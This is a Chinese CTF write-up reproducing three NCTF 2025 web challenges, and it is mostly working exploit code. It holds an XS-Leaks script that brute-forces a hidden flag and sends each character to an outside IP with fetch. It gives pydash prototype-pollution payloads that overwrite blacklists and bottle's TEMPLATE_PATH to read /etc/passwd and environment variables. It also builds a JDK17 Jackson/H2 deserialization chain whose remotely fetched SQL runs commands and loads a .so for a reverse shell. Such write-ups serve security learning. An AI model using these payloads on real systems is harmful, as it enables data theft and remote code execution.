当时没怎么打,现在来复现一下,也是学到蛮多东西

internal_api

一个新学到的XSLeak侧信道攻击

参考文章:https://ek1ng.com/XSLeaks%20%E4%BE%A7%E4%BF%A1%E9%81%93%E6%94%BB%E5%87%BB.html,https://wiki.scuctf.com/ctfwiki/web/9.xss/xsleaks/

XSLeaks是什么

XS-Leaks 全称 Cross-site leaks,可以用来 探测用户敏感信息

利用方式、利用条件等都和 csrf 较为相似。

说到探测用户敏感信息,是如何进行探测的?和csrf 相似在哪?

设想网站存在一个模糊查找功能(若前缀匹配则返回对应结果)例如 http://localhost/search?query=,页面是存在 xss 漏洞,并且有一个类似 flag 的字符串,并且只有不同用户查询的结果集不同。这时你可能会尝试 csrf,但是由于网站正确配置了 CORS,导致无法通过 xss 结合 csrf 获取到具体的响应。这个时候就可以尝试 XS-Leaks。

虽然无法获取响应的内容,但是是否查找成功可以通过一些侧信道来判断。通过哪些侧信道判断呢?

这些侧信道的来源通常有以下几类:

  1. 浏览器的 api (e.g. Frame Counting and Timing Attacks)
  2. 浏览器的实现细节和bugs (e.g. Connection Pooling and typeMustMatch)
  3. 硬件bugs (e.g. Speculative Execution Attacks 4)

通过测信道攻击可以获取到用户隐私信息。

给了两个提示

image-20250323214108405

search成功状态码为200,失败为500

审计源码,flag在数据库,然后被设置为隐藏

image-20250323215259076

然后只有bot可以去访问隐藏的flag

所以整体思路就是bot访问执行js代码的poc然后盲注flag带出来给攻击者

但是卧槽为什么啊,我不理解为什么exp会打不通

找到原因了,没看到object.data是火狐才有的了,他的bot是chrome的,得改成script,看gm7佬的文章有写,以前没细看麻了:https://gm7.org/%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/01.%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95/02.web%E6%BC%8F%E6%B4%9E/20.xs-leaks/?h=script#%E4%BB%80%E4%B9%88%E6%98%AFxs-leaks

最终exp

<script>
const VPS_IP = 'http://43.139.107.213:1389'
const chars = "0123456789abcdefghijklmnopqrstuvwxyz-{}";

const escape = (c) => {
return c.replace(/[.*+?^=!:${}()|[\]\/\\]/g, '\\$&');
}

const oracle = async (url) => {
return new Promise((resolve, reject) => {
// const object = document.createElement("object");
// object.data = url;
// object.onload = resolve;
// object.onerror = reject;
// document.head.appendChild(object);
let script = document.createElement('script');
script.src = url;
script.onload = resolve;
script.onerror = reject;
document.head.appendChild(script);
});
}
const search = async (url) => {
try {
await oracle(url)
return true;
} catch (e) {
return false;
}
}

(async () => {
let flag = 'nctf{';
let url = `http://127.0.0.1:8000/internal/search?s=${flag}`
while (flag.charAt(flag.length - 1) !== "}") {
for ( let i of chars ) {
if ( await(search(url + escape(i))) ) {
url = url + escape(i)
flag += i
await fetch(`${VPS_IP}/?flag=${flag}`, {mode: 'no-cors'})
break;
} else {
console.log('failed');
}
}
}
})();
</script>

image-20250324010628655

ez_dash_revenge

又是pydash的原型链污染,尝试了半天绕不过黑名单,也找不到污染的点

源码如下:

'''
Hints: Flag在环境变量中
'''

from typing import Optional


import pydash
import bottle

# for i in dir(pydash):
# print("============================================")
# print(dir(i))


__forbidden_path__=['__annotations__', '__call__', '__class__', '__closure__',
'__code__', '__defaults__', '__delattr__', '__dict__',
'__dir__', '__doc__', '__eq__', '__format__',
'__ge__', '__get__', '__getattribute__',
'__gt__', '__hash__', '__init__', '__init_subclass__',
'__kwdefaults__', '__le__', '__lt__', '__module__',
'__name__', '__ne__', '__new__', '__qualname__',
'__reduce__', '__reduce_ex__', '__repr__', '__setattr__',
'__sizeof__', '__str__', '__subclasshook__', '__wrapped__',
"Optional","render"
]
__forbidden_name__=[
"bottle"
]
__forbidden_name__.extend(dir(globals()["__builtins__"]))


def setval(name:str, path:str, value:str)-> Optional[bool]:
if name.find("__")>=0: return False
for word in __forbidden_name__:
if name==word:
return False
for word in __forbidden_path__:
if path.find(word)>=0: return False
obj=globals()[name]
try:

pydash.set_(obj,path,value) # 漏洞点,obj为pydash,
except:
return False
return True

# print(dir(pydash))

@bottle.post('/setValue')
def set_value():
name = bottle.request.query.get('name')
path=bottle.request.json.get('path')
if not isinstance(path,str):
return "no"
if len(name)>6 or len(path)>32: # name的长度小于等于6
return "no"
value=bottle.request.json.get('value')
return "yes" if setval(name, path, value) else "no"

@bottle.get('/render')
def render_template():
path=bottle.request.query.get('path')
if len(path)>10:
return "hacker"
blacklist=["{","}",".","%","<",">","_"]
for c in path:
if c in blacklist:
return "hacker"
return bottle.template(path)
bottle.run(host='0.0.0.0', port=8000)

一开始的想法就是,因为name被限制为了6位,要不就从pydash,要不就从setval这两个地方入手,然乎path的globals和builtins是没有被ban的,然后想通过污染拿到bottle,然后去污染渲染的模板,但是找了半天还是找不到绕过的方法,直接globals根本拿不到bottle

后来看到别人的思路是先污染pydash回有漏洞的代码,此事在sanic也有记载,就是利用他的5.1.2版本的path解析漏洞来绕过

image-20250324094415736

也就是我们需要污染RE_PATH_KEY_DELIM这个正则模式回5.1.2的模式,然后来绕过黑名单的过滤

emmm去看一下源码,有漏洞的版本的正则和新的正则没区别啊

# 5.1.2的正则
(?<!\\)(?:\\\\)*\.|(\[\d+\])
# 新的正则
(?<!\\)(?:\\\\)*\.|(\[-?\d+\])

新版的代码解析逻辑

image-20250324100700677

然后我把正则拉出来测试了一下

from typing import Optional
import pydash
from pydash import *
import re
RE_PATH_KEY_DELIM = re.compile(r"(?<!\\)(?:\\\\)*\.|(\[-?\d+\])")


value="__init__.__globals__"
value1 = "__init__\\\\.__globals__"
print(list(filter(None, RE_PATH_KEY_DELIM.split(value))))
print(RE_PATH_KEY_DELIM.split(value))
print(list(filter(None, RE_PATH_KEY_DELIM.split(value1))))
print(RE_PATH_KEY_DELIM.split(value1))

image-20250324115755280

这和sanic中的那个绕过没有任何改变啊

后来我干脆直接去试了一下到底直接改有什么问题,终于给我发现端倪了(原来他们指的漏洞是这个啊🥲)

from typing import Optional
import pydash
from pydash import *
import re
RE_PATH_KEY_DELIM = re.compile(r"(?<!\\)(?:\\\\)*\.|(\[-?\d+\])")

__forbidden_path__ = "123"
value="__globals__.__forbidden_path__"
value1 = "__init__\\\\.__globals__"
print(list(filter(None, RE_PATH_KEY_DELIM.split(value))))
print(RE_PATH_KEY_DELIM.split(value))
print(list(filter(None, RE_PATH_KEY_DELIM.split(value1))))
print(RE_PATH_KEY_DELIM.split(value1))
def setval():
pass
class b:
def __init__(self):
pass
instance = b()
# print(dir(instance.__init__.__class__.__globals__))
pydash.set_(setval,value,"aaa")
print(__forbidden_path__)

在我测试能否直接修改forbidden_path的时候,他给我报了一个错误

image-20250324144251613

然后去翻源码

image-20250324144325047

那么我只要把这里给污染了不就可以了成功修改所有黑名单了吗,我先换一下5.1.2的pydash看是不是没有做这个限制

image-20250324144505707

果然,以前是没有做限制的,终于找到问题所在了,目标明确了这下

print(pydash.helpers.RESTRICTED_KEYS)

这里可以拿到黑名单

然后污染pydash

image-20250324145004433

{
"path": "helpers.RESTRICTED_KEYS",
"value": "111"
}

那现在就可以去从setval将黑名单全部覆盖了

image-20250324145205642

{
"path": "__globals__.__forbidden_name__",
"value": ""
}

image-20250324145218751

{
"path": "__globals__.__forbidden_path__",
"value": ""
}

全部污染成功,现在也可以直接去拿bottle了,那么接下来要污染bottle的什么地方呢,接下来去看一下他的template函数

image-20250324150136967

有一个TEMPLATE_PATH

image-20250324150451450

他的作用应该是用来规定模板的搜索路径,表示框架会依次在 当前目录views/子目录 下查找模板文件

那我们修改一下他的搜索路径为/proc/self即可,然后path传参的时候加上environ就可以获得环境变量了

这里注意一定要是列表的形式

先读一下/etc/passwd试试

image-20250324151251417

{
"path": "TEMPLATE_PATH",
"value": ["/etc"]
}

image-20250324151304046

好的成功,那接下来去读environ就可以了

image-20250324151409375

image-20250324151403402

H2_revenge

jdk17的h2的rce

网上很大一部分都是h2的1.x的版本,不知道有没有影响,这个h2是2.x的版本

image-20250324152650526

就两个依赖,一个h2,一个springboot-web,默认其附带jackson

image-20250324154502086

controller也非常简单,就是base64解码之后反序列化

然后还有一个题目自己写的MyDataSource

image-20250324154621499

我觉得这个肯定是需要用到的

但是h2我不是很熟,没有调试过

首先这里是默认了有jackson依赖可以打jackson反序列化的,但是最终执行点的TemplatesImpl在JDK17下面是没有的了,需要替换,然后搜索到这样一篇文章:https://www.qwzf.top/2023/04/22/Java%2017%E5%8F%8A%E6%9B%B4%E9%AB%98%E7%89%88%E6%9C%AC%E4%B8%AD%E9%80%9A%E8%BF%87JDBC%E8%BF%9E%E6%8E%A5%E5%AE%9E%E7%8E%B0%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8/

这就是在高版本下用来替换TemplatesImpl的一种方法

h2的测试代码

package org.clown.NCTF2025;

import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.SQLException;

public class H2JDBC {
public static void main(String[] args) {
String url = "jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://127.0.0.1:8008/poc.sql'";
try{
Connection con = DriverManager.getConnection(url);
}catch (SQLException ex) {
ex.printStackTrace();
}
}
}

poc.sql的代码

CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException {
java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A");
return s.hasNext() ? s.next() : ""; }
$$;
CALL SHELLEXEC('calc')

image-20250324171319485

然后打算用BadAttributeValueExpException来触发toString,但是这里jdk17需要绕过module来反射修改变量,我尝试之后他还是进行了报错

package org.clown.NCTF2025;
import com.fasterxml.jackson.databind.node.POJONode;
import com.fasterxml.jackson.databind.node.POJONode;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import sun.misc.Unsafe;

import javax.management.BadAttributeValueExpException;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.Base64;

public class exp {
public static void setValue(Object obj, String name, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws Exception{
// 将TemplatesImpl改成MyDataSource
String url = "jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://192.168.121.164:8008/poc.sql'";
MyDataSource myDataSource = new MyDataSource(url,"a","a");
POJONode jsonNodes = new POJONode(myDataSource);
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
// 这里要改成高版本反射赋值val才行,不能直接构造函数来设置,因为构造函数是使用的val.toString()来设置的
Class<?> unSafe=Class.forName("sun.misc.Unsafe");
Field unSafeField=unSafe.getDeclaredField("theUnsafe");
unSafeField.setAccessible(true);
Unsafe unSafeClass= (Unsafe) unSafeField.get(null);//获取Unsafe实例
//获取ClassLoader的module
Module baseModule=Object.class.getModule();
//更改当前运行类的Module
Class<?> currentClass= exp.class;
long addr=unSafeClass.objectFieldOffset(Class.class.getDeclaredField("module"));
unSafeClass.getAndSetObject(currentClass,addr,baseModule);
//现在就能正常反射了
// Field valField = ClassLoader.class.getDeclaredField("val");
// valField.setAccessible(true);
// valField.set(val, jsonNodes);
setValue(val,"val",jsonNodes);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(barr);
objectOutputStream.writeObject(val);
// 打印base64的payload
System.out.println(Base64.getEncoder().encodeToString(barr.toByteArray()));
// ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
// Object o = (Object)ois.readObject();


}
}

image-20250324201141317

没理解,找了一下文章:https://forum.butian.net/share/3748,这篇的写法也是一样的,不知道为什么会不行

后来进去源码看了一下,发现val被固定为String了

image-20250324203801431

jdk8的时候是Object,所以不行

那只能换一个触发toString的链子了

这里找到EventListener这个链子,文章:http://www.bmth666.cn/2024/03/31/%E7%AC%AC%E4%BA%8C%E5%B1%8A-AliyunCTF-chain17%E5%A4%8D%E7%8E%B0/index.html

换成EventListener就可以了

本地能成的exp如下

package org.clown.NCTF2025;
import com.fasterxml.jackson.databind.node.POJONode;
import sun.misc.Unsafe;

import javax.management.BadAttributeValueExpException;
import javax.swing.event.EventListenerList;
import javax.swing.undo.UndoManager;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.Base64;
import java.util.Vector;

public class exp {
public static void setValue(Object obj, String name, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws Exception{
// 将TemplatesImpl改成MyDataSource
String url = "jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://127.0.0.1:8008/poc.sql'";
MyDataSource myDataSource = new MyDataSource(url,"a","a");
POJONode jsonNodes = new POJONode(myDataSource);
// BadAttributeValueExpException val = new BadAttributeValueExpException(null);
// 这里要改成高版本反射赋值val才行,不能直接构造函数来设置,因为构造函数是使用的val.toString()来设置的
Class<?> unSafe=Class.forName("sun.misc.Unsafe");
Field unSafeField=unSafe.getDeclaredField("theUnsafe");
unSafeField.setAccessible(true);
Unsafe unSafeClass= (Unsafe) unSafeField.get(null);//获取Unsafe实例
//获取ClassLoader的module
Module baseModule=Object.class.getModule();
//更改当前运行类的Module
Class<?> currentClass= exp.class;
long addr=unSafeClass.objectFieldOffset(Class.class.getDeclaredField("module"));
unSafeClass.getAndSetObject(currentClass,addr,baseModule);
//现在就能正常反射了
// setValue(val,"val",jsonNodes);
// EventListener
EventListenerList eventListenerList = new EventListenerList();
UndoManager undoManager = new UndoManager();
Vector vector = (Vector) getFieldValue(undoManager, "edits");
vector.add(jsonNodes);
setValue(eventListenerList, "listenerList", new Object[]{InternalError.class, undoManager});
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(barr);
objectOutputStream.writeObject(eventListenerList);
// 打印base64的payload
System.out.println(Base64.getEncoder().encodeToString(barr.toByteArray()));
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();


}
public static Field getField ( final Class<?> clazz, final String fieldName ) throws Exception {
try {
Field field = clazz.getDeclaredField(fieldName);
if ( field != null )
field.setAccessible(true);
else if ( clazz.getSuperclass() != null )
field = getField(clazz.getSuperclass(), fieldName);

return field;
}
catch ( NoSuchFieldException e ) {
if ( !clazz.getSuperclass().equals(Object.class) ) {
return getField(clazz.getSuperclass(), fieldName);
}
throw e;
}
}
public static Object getFieldValue(final Object obj, final String fieldName) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
return field.get(obj);
}
}

image-20250324202437910

然后本地起个环境去打一下试试

这里注意一下MyDataSource的包名要和题目一致,不然会Not Found

但是他失败了,来看一下docker的报错

image-20250324203353164

这里来了一个没有javac项目,很奇怪,去看一下dockerfile

image-20250324203911814

这里是只构建了一个jre的环境,问了一下ds

image-20250324204029549

因为程序尝试执行javac所以导致了该问题,但是为什么会运行javac呢,这是因为H2在初始化执行的那个sql里的java代码是动态编译的,所以会执行javac,然后可以翻出题人的博客找到解决方案😊

https://exp10it.io/2024/03/solarwinds-security-event-manager-amf-deserialization-rce-cve-2024-0692/#%E5%8F%97%E9%99%90%E5%88%B6%E7%9A%84-jdbc-h2-rce

image-20250324205843602

里面提到

H2 的 CREATE ALIAS 仍然可以调用位于 classpath 内的某个公共类的公共静态方法, 这点与 Oracle 类似

意思就是可以直接绑定一个静态方法然后调用,而不是内联java代码,这样就不需要动态编译,问了ds给出的示例如下

image-20250325152213840

所以文章就给出了两种思路

image-20250325160043356

这里我一开始想那直接命令执行不就可以了吗,java.lang.Runtime.getRuntime()也是静态方法,文章中提到,在 H2 中, Java 的 java.lang.Object 类型对应数据库的 JAVA_OBJECT 类型,总结就是JAVA_OBJECT对应的对象一定是要可序列化的

但是这两种思路的额外依赖我都没有,需要找找有没有其他静态写文件的静态方法

这里找到一个原生java.nio.file.Files 类的 write 方法

但是这里write方法需要传递File类型的参数,所以还要找一个静态方法返回File的,这里找到File.createTempFile()方法

接下来需要再找一个能够调用实例方法的静态方法,因为我们需要File的getAbsoluteFile方法来获取文件的绝对路径,这里是Spring环境,可以找到ReflectionUtils.findMethod方法来获取Method,找到ReflectionUtils.invokeMethod来调用Method

这里还提到了一个问题

image-20250325233703045

因为虽然getAbsolutePath返回的是String,但是我们是通过ReflectionUtils.invokeMethod来调用的,他默认返回的就是Object,我这里就找到静态方法String.valueOf可以将其转换成String,然后就可以System.load了

最后在java代码中写出来的流程大致如下:

package org.clown.NCTF2025;

import com.google.common.io.Files;
import org.springframework.util.ReflectionUtils;

import java.io.File;
import java.io.IOException;
import java.lang.reflect.Method;

public class FileTest {
public static void main(String[] args) throws IOException {
// 静态创建临时文件的方法
File file = File.createTempFile("exp", ".so");
// 静态写文件的方法
Files.write("test".getBytes(), file);
System.out.println(file.getAbsolutePath());
// 还有找一个能够调用实例方法的静态方法,这里找到spring依赖下的利用
// 先找到方法
Method method = ReflectionUtils.findMethod(File.class, "getAbsoluteFile", null);
// 然后调用getAbsoluteFile
Object pathObject = ReflectionUtils.invokeMethod(method, file);
String path = String.valueOf(pathObject);
// 调用System.load
System.load(path);
}
}

最后要注意编译出来的 .so 比较大, 转成 Hex 后字符串的长度过长, 直接写会报错, 需要分块写入。

然后这里问一下deepseek h2怎么将内容转换成字节,因为write方法只接受字节,然后吧问了之后发现,h2可以之接写文件,那我上面写的这么多直接就不需要了。。。。

image-20250326001852639

这直接写就完事了。。。

但是上面分析了这么多不能浪费,硬着头皮也得写下去,现在再找一个能够用静态方法转换成字节数组的,这里在java中没有直接找到相关,然后这里转换了一下思路,采用base64解码的形式来进行转换,然后中间就会又经过好几个步骤

经过一番尝试,最终还是失败了,卡在了String转成字节数组的部分,放个失败的java代码😭

package org.clown.NCTF2025;

import com.google.common.io.Files;
import org.springframework.util.ReflectionUtils;

import java.io.File;
import java.io.IOException;
import java.lang.reflect.Method;
import java.util.Base64;

public class FileTest {
public static void main(String[] args) throws IOException {
// 静态创建临时文件的方法
File file = File.createTempFile("exp", ".so");
// 调用静态方法获取decoder
Base64.Decoder decoder = Base64.getDecoder();
// 获取实例方法
Method decode = ReflectionUtils.findMethod(Base64.Decoder.class, "decode", String.class);
// 调用实例方法
Object soObject = ReflectionUtils.invokeMethod(decode, decoder, "<.so的base64形式>");
// 转换成字节
String soString = String.valueOf(soObject);
// 转不过来了,失败了。。。。
Byte so = Byte.valueOf(soString);
// 静态写文件的方法
Files.write("test".getBytes(), file);
System.out.println(file.getAbsolutePath());
// 还有找一个能够调用实例方法的静态方法,这里找到spring依赖下的利用
// 先找到方法
Method method = ReflectionUtils.findMethod(File.class, "getAbsoluteFile", null);
// 然后调用getAbsoluteFile
Object pathObject = ReflectionUtils.invokeMethod(method, file);
String path = String.valueOf(pathObject);
// 调用System.load
System.load(path);
}
}

那就还是直接用h2自带的函数来写文件吧

试了一下WRITE_FILE函数不对,再问一下deepseek

image-20250326105035567

emmm其实这给的函数还是有问题,参数位置反了

那最终写成的sql如下:

-- 写文件
CALL FILE_WRITE(X'','/tmp/exp.so');
-- 引入System.load方法
CREATE ALIAS SYS_LOAD FOR 'java.lang.System.load(java.lang.String)';
-- 调用load方法,反弹shell
CALL SYS_LOAD('/tmp/exp.so');

可以用xxd -p命令生成纯十六进制字符,加上tr -d ‘\n’命令去除换行符

但是这里我前面的java exp又出问题了,运行之后他会报下面的错误

image-20250326214307800

大致说的是未找到java.lang.Object的序列化器,emmm这就很奇怪,为什么会发生不能序列化的情况呢,原来的弹计算器的sql在本地也是能正常执行的,而且看日志前面已经成功执行了System.load了

难蚌后来发现这只能打一次,打完之后要重启靶机才行😓

最后反弹shell过来,改一下flag的权限即可

image-20250326204304609